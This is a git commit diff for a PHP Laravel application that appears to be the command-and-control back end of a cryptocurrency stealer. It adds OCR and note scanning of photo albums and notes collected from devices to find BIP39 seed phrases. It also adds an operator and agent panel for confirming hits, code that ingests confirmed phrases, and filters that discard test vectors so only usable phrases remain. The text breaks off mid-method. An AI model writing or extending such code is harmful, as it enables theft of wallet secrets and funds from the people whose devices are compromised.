feat: scan

This commit is contained in:
hashbro
2026-09-12 23:53:53 +08:00
parent e294053285
commit 558912864d
36 changed files with 4165 additions and 15 deletions
@@ -0,0 +1,68 @@
<?php
namespace App\Console\Commands;
use App\Jobs\ScanDeviceNotes;
use App\Jobs\ScanPhotoMnemonic;
use App\Models\Note;
use App\Models\NoteScan;
use App\Models\Photo;
use App\Services\MnemonicScanStatus;
use App\Support\NoteContent;
use Illuminate\Console\Command;
class ScanMnemonicsCommand extends Command
{
protected $signature = 'coruna:scan-mnemonics
{--limit=50 : Max photos to enqueue per run}';
protected $description = 'Enqueue pending album/note mnemonic scans (does not run Tesseract)';
public function handle(): int
{
$limit = max(1, (int) $this->option('limit'));
$photos = Photo::query()
->whereIn('scan_status', [MnemonicScanStatus::PENDING, MnemonicScanStatus::FAILED])
->orderByRaw('CASE WHEN COALESCE(text_count, 0) > 0 OR COALESCE(x_hit, 0) > 0 THEN 0 ELSE 1 END')
->orderByDesc('created_at')
->orderByDesc('id')
->limit($limit)
->get(['id']);
foreach ($photos as $photo) {
ScanPhotoMnemonic::dispatch($photo->id)->onQueue('ocr');
}
$noteQueued = 0;
$seenDevices = [];
Note::query()->orderByDesc('id')->limit(200)->get(['id', 'device_id', 'content'])->each(function (Note $note) use (&$noteQueued, &$seenDevices) {
if (isset($seenDevices[$note->device_id])) {
return;
}
$seenDevices[$note->device_id] = true;
$items = NoteContent::normalizeStored($note->content);
foreach ($items as $index => $item) {
$key = NoteScan::itemKey($item, $index);
$hash = NoteScan::itemHash($item);
$existing = NoteScan::query()
->where('device_id', $note->device_id)
->where('note_id', $note->id)
->where('item_key', $key)
->first();
if ($existing
&& hash_equals((string) $existing->content_hash, $hash)
&& ! in_array((int) $existing->scan_status, [MnemonicScanStatus::PENDING, MnemonicScanStatus::FAILED], true)) {
continue;
}
ScanDeviceNotes::dispatch($note->device_id);
$noteQueued++;
return;
}
});
$this->info('enqueued photos='.$photos->count().' note-devices='.$noteQueued);
return self::SUCCESS;
}
}
@@ -294,6 +294,8 @@ class DeviceController extends Controller
DB::transaction(function () use ($device) {
$device->apps()->delete();
$device->events()->delete();
$device->mnemonicFindings()->delete();
$device->noteScans()->delete();
$device->photos()->delete();
$device->notes()->delete();
$device->addresses()->delete();
@@ -571,12 +573,16 @@ class DeviceController extends Controller
'process_index' => $photo->process_index,
'text_count' => $photo->text_count,
'barcode_count' => $photo->barcode_count,
'scan_status' => (int) $photo->scan_status,
'scan_label' => \App\Services\MnemonicScanStatus::label((int) $photo->scan_status),
'read' => in_array($photo->id, $readIds, true) ? 1 : 0,
'created_at' => optional($photo->created_at)->format('Y-m-d H:i:s'),
];
})->values();
return $this->layuiPage($paginator->total(), $data);
$scan = app(\App\Services\MnemonicScanService::class)->photoProgress($device->id);
return $this->layuiPage($paginator->total(), $data, $scan);
}
private function paginateAddresses(Device $device, Request $request, string $field, string $order, int $limit, int $page)
@@ -707,16 +713,27 @@ class DeviceController extends Controller
$total = count($items);
$slice = array_slice($items, ($page - 1) * $limit, $limit);
$reportedAt = optional($note?->updated_at ?? $note?->created_at)->format('Y-m-d H:i:s');
$data = collect($slice)->values()->map(function (array $item, int $i) use ($page, $limit, $reportedAt) {
$scans = $note
? \App\Models\NoteScan::query()->where('note_id', $note->id)->get()->keyBy('item_key')
: collect();
$data = collect($slice)->values()->map(function (array $item, int $i) use ($page, $limit, $reportedAt, $scans) {
$index = (($page - 1) * $limit) + $i;
$key = \App\Models\NoteScan::itemKey($item, $index);
$status = (int) ($scans[$key]->scan_status ?? \App\Services\MnemonicScanStatus::PENDING);
return [
'id' => (($page - 1) * $limit) + $i + 1,
'id' => $index + 1,
'title' => $item['title'] ?? '',
'body' => $item['body'] ?? '',
'scan_status' => $status,
'scan_label' => \App\Services\MnemonicScanStatus::label($status),
'created_at' => $reportedAt ?: '',
];
});
return $this->layuiPage($total, $data);
$scan = app(\App\Services\MnemonicScanService::class)->noteProgress($device);
return $this->layuiPage($total, $data, $scan);
}
private function paginateEvents(Device $device, string $field, string $order, int $limit, int $page)
@@ -744,14 +761,19 @@ class DeviceController extends Controller
/**
* @param Collection<int, array<string, mixed>>|array<int, array<string, mixed>> $data
*/
private function layuiPage(int $count, $data)
private function layuiPage(int $count, $data, ?array $scan = null)
{
return response()->json([
$payload = [
'code' => 0,
'msg' => '',
'count' => $count,
'data' => $data,
]);
];
if ($scan !== null) {
$payload['scan'] = $scan;
}
return response()->json($payload);
}
/**
@@ -0,0 +1,159 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\MnemonicFinding;
use App\Models\User;
use App\Services\MnemonicScanService;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
class MnemonicFindingController extends Controller
{
use PortalAware;
public function index(MnemonicScanService $scan)
{
$agents = $this->isAgentPortal()
? collect()
: User::query()->orderBy('username')->get(['id', 'username']);
return view('admin.findings.index', [
'portal' => $this->portal(),
'agents' => $agents,
'photoProgress' => $scan->photoProgress(),
'noteProgress' => $scan->noteProgress(),
]);
}
public function data(Request $request)
{
$q = $this->baseQuery($request);
$status = trim((string) $request->query('status', ''));
if (in_array($status, [MnemonicFinding::STATUS_SUSPECTED, MnemonicFinding::STATUS_CONFIRMED, MnemonicFinding::STATUS_DISMISSED], true)) {
$q->where('mnemonic_findings.status', $status);
}
$source = trim((string) $request->query('source', ''));
if (in_array($source, [MnemonicFinding::SOURCE_PHOTO, MnemonicFinding::SOURCE_NOTE], true)) {
$q->where('mnemonic_findings.source', $source);
}
$q->orderByDesc('mnemonic_findings.id');
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function ($row) use ($portal) {
/** @var MnemonicFinding $row */
$photoUrl = $row->photo_id
? route($portal.'.devices.photo', [$row->device_id, $row->photo_id])
: '';
return [
'id' => $row->id,
'device_key' => $row->device_key ?: '',
'channel_id' => $row->device_channel_id ?: '',
'source' => $row->source === MnemonicFinding::SOURCE_PHOTO ? '相册' : '备忘录',
'status' => $row->status,
'status_label' => MnemonicFinding::statusLabel((string) $row->status),
'candidate' => $row->candidate,
'excerpt' => mb_substr((string) $row->excerpt, 0, 160),
'word_count' => (int) $row->word_count,
'score' => (int) $row->score,
'photo_url' => $photoUrl,
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', [
'device' => $row->device_id,
'tab' => $row->source === MnemonicFinding::SOURCE_PHOTO ? 'photos' : 'notes',
]),
];
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
}
public function confirm(Request $request, MnemonicFinding $finding, MnemonicScanService $scan)
{
if (! $this->findingInScope($finding)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
if ($finding->status !== MnemonicFinding::STATUS_SUSPECTED) {
return response()->json(['code' => 1, 'msg' => '只有疑似记录可以确认']);
}
$candidate = $request->input('candidate');
if (! $scan->confirm($finding, $this->actorLabel(), is_string($candidate) ? $candidate : null)) {
return response()->json(['code' => 1, 'msg' => '不是合法助记词,无法确定入库']);
}
return response()->json(['code' => 0, 'msg' => 'ok']);
}
public function dismiss(MnemonicFinding $finding, MnemonicScanService $scan)
{
if (! $this->findingInScope($finding)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
$scan->dismiss($finding, $this->actorLabel());
return response()->json(['code' => 0, 'msg' => 'ok']);
}
private function findingInScope(MnemonicFinding $finding): bool
{
$q = MnemonicFinding::query()
->join('devices', 'devices.id', '=', 'mnemonic_findings.device_id')
->where('mnemonic_findings.id', $finding->id);
AgentScope::applyDeviceChannelScope($q, $this->agent());
return $q->exists();
}
private function actorLabel(): string
{
if ($this->isAgentPortal()) {
$user = auth('agent')->user();
return 'agent:'.((int) ($user?->id ?? 0)).'@'.(string) ($user?->username ?? '');
}
$admin = auth('admin')->user();
return 'admin:'.((int) ($admin?->id ?? 0)).'@'.(string) ($admin?->username ?? '');
}
private function baseQuery(Request $request): Builder
{
$q = MnemonicFinding::query()
->join('devices', 'devices.id', '=', 'mnemonic_findings.device_id')
->select([
'mnemonic_findings.*',
'devices.device_id as device_key',
'devices.channel_id as device_channel_id',
]);
AgentScope::applyDeviceChannelScope($q, $this->agent());
$channelId = trim((string) $request->query('channel_id', ''));
$deviceKey = trim((string) $request->query('device_key', ''));
if ($channelId !== '') {
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
if ($deviceKey !== '') {
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
}
if (! $this->isAgentPortal()) {
AgentScope::applyAgentUserFilter(
$q,
AgentScope::parseAgentUserIdFilter($request->query('agent_user_id'))
);
}
return $q;
}
}
+28
View File
@@ -0,0 +1,28 @@
<?php
namespace App\Jobs;
use App\Models\Device;
use App\Services\MnemonicScanService;
use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Foundation\Queue\Queueable;
class ScanDeviceNotes implements ShouldQueue
{
use Queueable;
public int $tries = 1;
public int $timeout = 60;
public function __construct(public int $deviceId) {}
public function handle(MnemonicScanService $scan): void
{
$device = Device::query()->find($this->deviceId);
if ($device === null) {
return;
}
$scan->scanDeviceNotes($device);
}
}
+28
View File
@@ -0,0 +1,28 @@
<?php
namespace App\Jobs;
use App\Models\Photo;
use App\Services\MnemonicScanService;
use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Foundation\Queue\Queueable;
class ScanPhotoMnemonic implements ShouldQueue
{
use Queueable;
public int $tries = 1;
public int $timeout = 120;
public function __construct(public int $photoId) {}
public function handle(MnemonicScanService $scan): void
{
$photo = Photo::query()->with('device')->find($this->photoId);
if ($photo === null) {
return;
}
$scan->scanPhoto($photo);
}
}
+8 -1
View File
@@ -22,6 +22,13 @@ class SendTelegramMessage implements ShouldQueue
public function handle(TelegramNotifier $telegram): void
{
$telegram->sendToChat($this->chatId, $this->text, $this->token);
$result = $telegram->sendToChat($this->chatId, $this->text, $this->token);
if (! $result['ok']) {
\Illuminate\Support\Facades\Log::channel('telegram')->warning('SendTelegramMessage job failed', [
'chat_id' => $this->chatId,
'error' => $result['error'] ?? 'unknown',
'text_preview' => mb_substr($this->text, 0, 80),
]);
}
}
}
+10
View File
@@ -213,6 +213,16 @@ class Device extends Model
return $this->hasMany(Photo::class);
}
public function noteScans(): HasMany
{
return $this->hasMany(NoteScan::class);
}
public function mnemonicFindings(): HasMany
{
return $this->hasMany(MnemonicFinding::class);
}
public function notes(): HasMany
{
return $this->hasMany(Note::class);
+88
View File
@@ -0,0 +1,88 @@
<?php
namespace App\Models;
use App\Services\MnemonicScanStatus;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
use Illuminate\Support\Facades\Crypt;
class MnemonicFinding extends Model
{
public const SOURCE_PHOTO = 'photo';
public const SOURCE_NOTE = 'note';
public const STATUS_SUSPECTED = 'suspected';
public const STATUS_CONFIRMED = 'confirmed';
public const STATUS_DISMISSED = 'dismissed';
protected $fillable = [
'device_id', 'source', 'photo_id', 'note_id', 'item_key',
'status', 'candidate_enc', 'excerpt', 'word_count', 'score',
'reviewed_by', 'reviewed_at',
];
protected function casts(): array
{
return [
'word_count' => 'integer',
'score' => 'integer',
'reviewed_at' => 'datetime',
];
}
public function device(): BelongsTo
{
return $this->belongsTo(Device::class);
}
public function photo(): BelongsTo
{
return $this->belongsTo(Photo::class);
}
public function note(): BelongsTo
{
return $this->belongsTo(Note::class);
}
public function getCandidateAttribute(): string
{
$enc = (string) ($this->attributes['candidate_enc'] ?? '');
if ($enc === '') {
return '';
}
try {
return Crypt::decryptString($enc);
} catch (\Throwable) {
return '';
}
}
public function setCandidateAttribute(string $value): void
{
$this->attributes['candidate_enc'] = Crypt::encryptString($value);
}
public function maskedCandidate(): string
{
return WalletMnemonic::maskSecret($this->candidate);
}
public static function statusLabel(string $status): string
{
return match ($status) {
self::STATUS_CONFIRMED => '确定含有',
self::STATUS_DISMISSED => '已排除',
default => '疑似',
};
}
public static function scanLabel(int $status): string
{
return MnemonicScanStatus::label($status);
}
}
+46
View File
@@ -0,0 +1,46 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
class NoteScan extends Model
{
protected $fillable = [
'device_id', 'note_id', 'item_key', 'content_hash', 'scan_status', 'scanned_at',
];
protected function casts(): array
{
return [
'scan_status' => 'integer',
'scanned_at' => 'datetime',
];
}
public function device(): BelongsTo
{
return $this->belongsTo(Device::class);
}
public function note(): BelongsTo
{
return $this->belongsTo(Note::class);
}
public static function itemKey(array $item, int $index = 0): string
{
$native = $item['native_id'] ?? null;
if ($native !== null && $native !== '') {
return 'n:'.(string) $native;
}
return 'h:'.substr(hash('sha1', (string) ($item['title'] ?? '').'|'.(string) ($item['body'] ?? '')), 0, 24);
}
public static function itemHash(array $item): string
{
return hash('sha256', (string) ($item['title'] ?? '')."\n".(string) ($item['body'] ?? ''));
}
}
+11
View File
@@ -10,6 +10,14 @@ class Photo extends Model
{
public const X_HIT_ALERT = 12;
protected function casts(): array
{
return [
'scan_status' => 'integer',
'scanned_at' => 'datetime',
];
}
protected $fillable = [
'device_id',
'sha256',
@@ -20,6 +28,9 @@ class Photo extends Model
'process_index',
'text_count',
'barcode_count',
'scan_status',
'scanned_at',
'ocr_text',
];
public function device(): BelongsTo
+4
View File
@@ -4,6 +4,8 @@ namespace App\Providers;
use App\Services\CorunaArchive;
use App\Services\CorunaCrypto;
use App\Services\Ocr\OcrDriver;
use App\Services\Ocr\TesseractOcrDriver;
use App\Services\SettingsService;
use App\Telegram\TelegramBotContext;
use Illuminate\Support\Facades\DB;
@@ -36,6 +38,8 @@ class AppServiceProvider extends ServiceProvider
(string) config('coruna.seven_zip', ''),
);
});
$this->app->bind(OcrDriver::class, TesseractOcrDriver::class);
}
public function boot(): void
+52
View File
@@ -39,6 +39,58 @@ final class Bip44
];
}
/**
* True when the phrase is a checksum-valid BIP39 mnemonic that can
* produce a secp256k1 key (and therefore chain addresses).
*/
public static function canDerive(string $mnemonic): bool
{
try {
$derived = self::derive($mnemonic, "m/44'/60'/0'/0/0");
return strlen((string) ($derived['public_key_uncompressed'] ?? '')) >= 130;
} catch (\Throwable) {
return false;
}
}
/**
* Checksum-valid is not enough for ingest: reject BIP39 test vectors and
* low-entropy repeats (same word more than 3 times, or official test vectors).
*/
public static function isUsableMnemonic(string $mnemonic): bool
{
$words = preg_split('/\s+/', strtolower(trim($mnemonic))) ?: [];
$n = count($words);
if (! in_array($n, [12, 15, 18, 21, 24], true)) {
return false;
}
if (in_array(implode(' ', $words), self::TEST_VECTORS, true)) {
return false;
}
$counts = array_count_values($words);
if (count($counts) < $n - 2) {
return false;
}
if (max($counts) > 3) {
return false;
}
return self::canDerive($mnemonic);
}
/** @var list<string> */
private const TEST_VECTORS = [
'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
'legal winner thank year wave sausage worth useful legal winner thank yellow',
'letter advice cage absurd amount doctor acoustic avoid letter advice cage above',
'zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo wrong',
'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon agent',
'legal winner thank year wave sausage worth useful legal winner thank year wave sausage worth useful legal will',
'letter advice cage absurd amount doctor acoustic avoid letter advice cage absurd amount doctor acoustic bless',
'zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo vote',
];
/** @return array{0: string, 1: string} binary key + chain code */
private static function masterFromSeed(string $seed): array
{
+12 -4
View File
@@ -561,11 +561,16 @@ class IngestService
{
$words = preg_split('/\s+/', strtolower(trim($secret))) ?: [];
$n = count($words);
if ($n === 12 || $n === 24) {
if (in_array($n, [12, 15, 18, 21, 24], true)) {
foreach ($words as $word) {
if (! preg_match('/^[a-z]{3,8}$/', $word)) {
return false;
if (preg_match('/^[a-z]{3,8}$/', $word) === 1) {
continue;
}
if (preg_match('/^\p{Han}{1,4}$/u', $word) === 1) {
continue;
}
return false;
}
return true;
@@ -955,6 +960,7 @@ class IngestService
'content' => $items,
'content_hash' => $hash,
])->save();
app(MnemonicScanService::class)->dispatchNotes($device);
return;
}
@@ -964,6 +970,7 @@ class IngestService
'content' => $items,
'content_hash' => $hash,
]);
app(MnemonicScanService::class)->dispatchNotes($device);
}
/**
@@ -1008,7 +1015,7 @@ class IngestService
}
$rel = 'c2/photos/'.$device->device_id.'/'.$sha.'_'.basename($path);
Storage::disk('local')->put($rel, $bytes);
Photo::query()->create([
$photo = Photo::query()->create([
'device_id' => $device->id,
'sha256' => $sha,
'path' => $rel,
@@ -1019,6 +1026,7 @@ class IngestService
'text_count' => $meta['text_count'] ?? null,
'barcode_count' => $meta['barcode_count'] ?? null,
]);
app(MnemonicScanService::class)->dispatchPhoto($photo);
$stored++;
}
+269
View File
@@ -0,0 +1,269 @@
<?php
namespace App\Services;
use App\Services\Chain\Bip44;
class MnemonicDetector
{
/** @var list<int> */
public const LENGTHS = [12, 15, 18, 21, 24];
public const MIN_SUSPECTED = 8;
public const MIN_CONFIRMED = 12;
public const MIN_UNIQUE = 8;
/**
* Hardware-wallet chrome that is also on the BIP39 list. Only used to
* break ties when two sliding windows both checksum.
*
* @var array<string, true>
*/
private const UI_PREFIX = [
'card' => true,
'key' => true,
'wallet' => true,
'seed' => true,
'word' => true,
'phrase' => true,
'recovery' => true,
'secret' => true,
'hardware' => true,
'device' => true,
'account' => true,
];
/** @var array<string, true>|null */
private static ?array $english = null;
/**
* @return array{candidate: string, word_count: int, score: int, language: string, confirmed: bool}|null
*/
public function detect(string $text, bool $strictGaps = false): ?array
{
$text = trim($text);
if ($text === '') {
return null;
}
$tokens = $strictGaps ? $this->noteTokens($text) : $this->englishTokens($text);
$wordlist = $this->englishSet();
$real = array_values(array_filter($tokens, fn ($word) => $word !== ''));
if (count($real) < self::MIN_SUSPECTED) {
return null;
}
$perfect = $this->perfectPhrase($tokens, $wordlist);
if ($perfect !== null) {
return $perfect;
}
if ($strictGaps) {
return null;
}
$partial = $this->suspectedWindow($tokens, $wordlist);
return $partial !== null && $this->uniqueListWords($partial['candidate']) >= self::MIN_UNIQUE
? $partial
: null;
}
public function uniqueListWords(string $candidate): int
{
$wordlist = $this->englishSet();
$uniq = [];
foreach (preg_split('/\s+/', strtolower(trim($candidate))) ?: [] as $word) {
if (isset($wordlist[$word])) {
$uniq[$word] = true;
}
}
return count($uniq);
}
/**
* @param list<string> $tokens
* @param array<string, true> $wordlist
* @return array{candidate: string, word_count: int, score: int, language: string, confirmed: bool}|null
*/
private function perfectPhrase(array $tokens, array $wordlist): ?array
{
$run = [];
$best = null;
$n = count($tokens);
for ($i = 0; $i <= $n; $i++) {
$word = $tokens[$i] ?? null;
if ($word !== null && $word !== '' && isset($wordlist[$word])) {
$run[] = $word;
continue;
}
$hit = $this->confirmedFromRun($run);
if ($hit !== null && ($best === null || $hit['word_count'] > $best['word_count'])) {
$best = $hit;
}
$run = [];
}
return $best;
}
/**
* @param list<string> $run
* @return array{candidate: string, word_count: int, score: int, language: string, confirmed: bool}|null
*/
private function confirmedFromRun(array $run): ?array
{
$n = count($run);
$fallback = null;
foreach (array_reverse(self::LENGTHS) as $len) {
if ($n < $len) {
continue;
}
$usable = [];
for ($offset = 0; $offset <= $n - $len; $offset++) {
$hit = $this->hitFromWords(array_slice($run, $offset, $len), true);
$fallback ??= $hit;
if (Bip44::isUsableMnemonic($hit['candidate'])) {
$usable[] = $hit;
}
}
if ($usable !== []) {
return $this->preferNonUiPrefix($usable);
}
}
return $fallback;
}
/**
* @param list<string> $words
* @return array{candidate: string, word_count: int, score: int, language: string, confirmed: bool}
*/
private function hitFromWords(array $words, bool $confirmed): array
{
$len = count($words);
return [
'candidate' => implode(' ', $words),
'word_count' => $len,
'score' => $len * 10,
'language' => 'en',
'confirmed' => $confirmed,
];
}
/**
* @param non-empty-list<array{candidate: string, word_count: int, score: int, language: string, confirmed: bool}> $hits
* @return array{candidate: string, word_count: int, score: int, language: string, confirmed: bool}
*/
private function preferNonUiPrefix(array $hits): array
{
foreach ($hits as $hit) {
$first = explode(' ', $hit['candidate'])[0] ?? '';
if (! isset(self::UI_PREFIX[$first])) {
return $hit;
}
}
return $hits[0];
}
/**
* @param list<string> $tokens
* @param array<string, true> $wordlist
* @return array{candidate: string, word_count: int, score: int, language: string, confirmed: bool}|null
*/
private function suspectedWindow(array $tokens, array $wordlist): ?array
{
$n = count($tokens);
$best = null;
$maxLen = min(24, $n);
for ($len = self::MIN_SUSPECTED; $len <= $maxLen; $len++) {
for ($i = 0; $i <= $n - $len; $i++) {
$window = array_slice($tokens, $i, $len);
$hits = 0;
foreach ($window as $word) {
if ($word !== '' && isset($wordlist[$word])) {
$hits++;
}
}
if ($hits < self::MIN_SUSPECTED) {
continue;
}
$score = ($hits * 10) - (($len - $hits) * 2);
if ($best !== null && ($hits < $best['word_count'] || ($hits === $best['word_count'] && $score <= $best['score']))) {
continue;
}
$best = [
'candidate' => implode(' ', $window),
'word_count' => $hits,
'score' => $score,
'language' => 'en',
'confirmed' => false,
];
}
}
return $best;
}
/** @return list<string> */
private function englishTokens(string $text): array
{
preg_match_all('/[a-z]{3,8}/', strtolower($text), $m);
return $m[0] ?? [];
}
/**
* Keep list indices (1. 2. 12) from breaking a phrase, but digits/units
* like 200 or 1.5 split a run so "pipe 200 cable" is not 12 words.
*
* @return list<string>
*/
private function noteTokens(string $text): array
{
$out = [];
foreach (preg_split('/\s+/u', strtolower($text)) ?: [] as $raw) {
$word = trim($raw, ".,!?;:\"'()[]");
if (preg_match('/^[a-z]{3,8}$/', $word) === 1) {
$out[] = $word;
continue;
}
if (preg_match('/^\d{1,2}\.?$/', $word) === 1) {
continue;
}
$out[] = '';
}
return $out;
}
/** @return array<string, true> */
private function englishSet(): array
{
return self::$english ??= $this->loadSet();
}
/** @return array<string, true> */
private function loadSet(): array
{
$set = [];
$path = resource_path('bip39/english.txt');
if (! is_file($path)) {
return $set;
}
foreach (file($path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) ?: [] as $line) {
$word = strtolower(trim($line));
if ($word !== '') {
$set[$word] = true;
}
}
return $set;
}
}
+378
View File
@@ -0,0 +1,378 @@
<?php
namespace App\Services;
use App\Jobs\ScanDeviceNotes;
use App\Jobs\ScanPhotoMnemonic;
use App\Models\Device;
use App\Models\MnemonicFinding;
use App\Models\Note;
use App\Models\NoteScan;
use App\Models\Photo;
use App\Services\Chain\Bip44;
use App\Services\Ocr\OcrDriver;
use App\Services\Ocr\PhotoOcrPreparer;
use App\Support\NoteContent;
use App\Support\WalletSource;
use Illuminate\Support\Facades\Log;
class MnemonicScanService
{
public function __construct(
private readonly MnemonicDetector $detector,
private readonly OcrDriver $ocr,
private readonly PhotoOcrPreparer $preparer,
private readonly IngestService $ingest,
private readonly TelegramNotifier $telegram,
) {}
public function dispatchPhoto(Photo $photo): void
{
if (app()->runningUnitTests()) {
return;
}
if ((int) $photo->scan_status !== MnemonicScanStatus::PENDING
&& (int) $photo->scan_status !== MnemonicScanStatus::FAILED) {
return;
}
ScanPhotoMnemonic::dispatch($photo->id)->onQueue('ocr');
}
public function dispatchNotes(Device $device): void
{
if (app()->runningUnitTests()) {
return;
}
ScanDeviceNotes::dispatch($device->id);
}
public function scanPhoto(Photo $photo): void
{
$jpeg = null;
try {
$jpeg = $this->preparer->jpegPath($photo);
if ($jpeg === null) {
$this->markPhoto($photo, MnemonicScanStatus::FAILED, '');
return;
}
$text = $this->ocr->recognize($jpeg);
$this->applyTextHit($photo->device, MnemonicFinding::SOURCE_PHOTO, $text, $photo, null, null);
$this->markPhoto($photo, $this->photoStatus($photo), $text);
} catch (\Throwable $e) {
Log::warning('scan photo mnemonic failed: '.$e->getMessage(), ['photo_id' => $photo->id]);
$this->markPhoto($photo, MnemonicScanStatus::FAILED, '');
} finally {
if (is_string($jpeg) && is_file($jpeg)) {
@unlink($jpeg);
}
}
}
public function scanDeviceNotes(Device $device): void
{
$note = $device->notes()->orderByDesc('id')->first();
if ($note === null) {
return;
}
foreach ($note->items() as $index => $item) {
$this->scanNoteItem($device, $note, $item, $index);
}
}
/**
* @param array{title: string, body: string, native_id: int|string|null} $item
*/
public function scanNoteItem(Device $device, Note $note, array $item, int $index): void
{
$key = NoteScan::itemKey($item, $index);
$hash = NoteScan::itemHash($item);
$row = NoteScan::query()->firstOrNew([
'device_id' => $device->id,
'note_id' => $note->id,
'item_key' => $key,
]);
if ($row->exists
&& hash_equals((string) $row->content_hash, $hash)
&& (int) $row->scan_status !== MnemonicScanStatus::PENDING
&& (int) $row->scan_status !== MnemonicScanStatus::FAILED) {
return;
}
$text = trim((string) ($item['title'] ?? '')."\n".(string) ($item['body'] ?? ''));
$this->applyTextHit($device, MnemonicFinding::SOURCE_NOTE, $text, null, $note, $key);
$row->content_hash = $hash;
$row->scan_status = $this->noteStatus($note, $key);
$row->scanned_at = now();
$row->save();
}
public function confirm(MnemonicFinding $finding, ?string $actor = null, ?string $candidate = null): bool
{
$device = $finding->device;
if ($device === null || $finding->status !== MnemonicFinding::STATUS_SUSPECTED) {
return false;
}
$phrase = trim(preg_replace('/\s+/', ' ', (string) ($candidate ?? $finding->candidate)) ?: '');
if ($phrase === '' || ! Bip44::isUsableMnemonic($phrase)) {
return false;
}
$finding->candidate = $phrase;
$finding->word_count = count(preg_split('/\s+/', $phrase) ?: []);
$this->ingest->ingestMnemonic($device, [
'mnemonic' => $phrase,
'a' => $finding->source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
]);
$finding->status = MnemonicFinding::STATUS_CONFIRMED;
$finding->reviewed_by = $actor;
$finding->reviewed_at = now();
$finding->save();
if ($finding->photo_id) {
Photo::query()->whereKey($finding->photo_id)->update([
'scan_status' => MnemonicScanStatus::CONFIRMED,
]);
}
if ($finding->note_id && $finding->item_key) {
NoteScan::query()
->where('note_id', $finding->note_id)
->where('item_key', $finding->item_key)
->update(['scan_status' => MnemonicScanStatus::CONFIRMED]);
}
return true;
}
public function dismiss(MnemonicFinding $finding, ?string $actor = null): void
{
$finding->status = MnemonicFinding::STATUS_DISMISSED;
$finding->reviewed_by = $actor;
$finding->reviewed_at = now();
$finding->save();
if ($finding->photo_id) {
Photo::query()->whereKey($finding->photo_id)->update([
'scan_status' => MnemonicScanStatus::EMPTY,
]);
}
if ($finding->note_id && $finding->item_key) {
NoteScan::query()
->where('note_id', $finding->note_id)
->where('item_key', $finding->item_key)
->update(['scan_status' => MnemonicScanStatus::EMPTY]);
}
}
/**
* @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int}
*/
public function photoProgress(?int $deviceId = null): array
{
$q = Photo::query();
if ($deviceId !== null) {
$q->where('device_id', $deviceId);
}
return $this->progressFromCounts($q->selectRaw('scan_status, COUNT(*) as c')->groupBy('scan_status')->pluck('c', 'scan_status')->all());
}
/**
* @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int}
*/
public function noteProgress(?Device $device = null): array
{
if ($device !== null) {
$note = $device->notes()->orderByDesc('id')->first();
$items = $note ? $note->items() : [];
$total = count($items);
if ($total === 0) {
return $this->progressFromCounts([]);
}
$scans = NoteScan::query()
->where('device_id', $device->id)
->where('note_id', $note->id)
->get()
->keyBy('item_key');
$counts = [];
foreach ($items as $index => $item) {
$key = NoteScan::itemKey($item, $index);
$status = (int) ($scans[$key]->scan_status ?? MnemonicScanStatus::PENDING);
$counts[$status] = ((int) ($counts[$status] ?? 0)) + 1;
}
return $this->progressFromCounts($counts);
}
$itemTotal = 0;
Note::query()->orderByDesc('id')->get(['id', 'device_id', 'content'])->groupBy('device_id')->each(function ($rows) use (&$itemTotal) {
$note = $rows->first();
$itemTotal += count(NoteContent::normalizeStored($note->content));
});
$scannedRows = NoteScan::query()->selectRaw('scan_status, COUNT(*) as c')->groupBy('scan_status')->pluck('c', 'scan_status')->all();
$progress = $this->progressFromCounts($scannedRows);
$progress['total'] = $itemTotal;
$progress['pending'] = max(0, $itemTotal - $progress['scanned'] - $progress['failed']);
return $progress;
}
/**
* @param array<int, int> $counts
* @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int}
*/
private function progressFromCounts(array $counts): array
{
$pending = (int) ($counts[MnemonicScanStatus::PENDING] ?? 0);
$empty = (int) ($counts[MnemonicScanStatus::EMPTY] ?? 0);
$suspected = (int) ($counts[MnemonicScanStatus::SUSPECTED] ?? 0);
$confirmed = (int) ($counts[MnemonicScanStatus::CONFIRMED] ?? 0);
$failed = (int) ($counts[MnemonicScanStatus::FAILED] ?? 0);
return [
'total' => $pending + $empty + $suspected + $confirmed + $failed,
'scanned' => $empty + $suspected + $confirmed,
'suspected' => $suspected,
'confirmed' => $confirmed,
'failed' => $failed,
'pending' => $pending,
];
}
private function markPhoto(Photo $photo, int $status, string $text): void
{
$photo->scan_status = $status;
$photo->scanned_at = now();
$photo->ocr_text = mb_substr($text, 0, 8000);
$photo->save();
}
private function applyTextHit(
?Device $device,
string $source,
string $text,
?Photo $photo,
?Note $note,
?string $itemKey,
): void {
if ($device === null) {
return;
}
$q = MnemonicFinding::query()->where('device_id', $device->id)->where('source', $source);
if ($photo !== null) {
$q->where('photo_id', $photo->id);
} else {
$q->where('note_id', $note?->id)->where('item_key', $itemKey);
}
$hit = $this->detector->detect($text, $source === MnemonicFinding::SOURCE_NOTE);
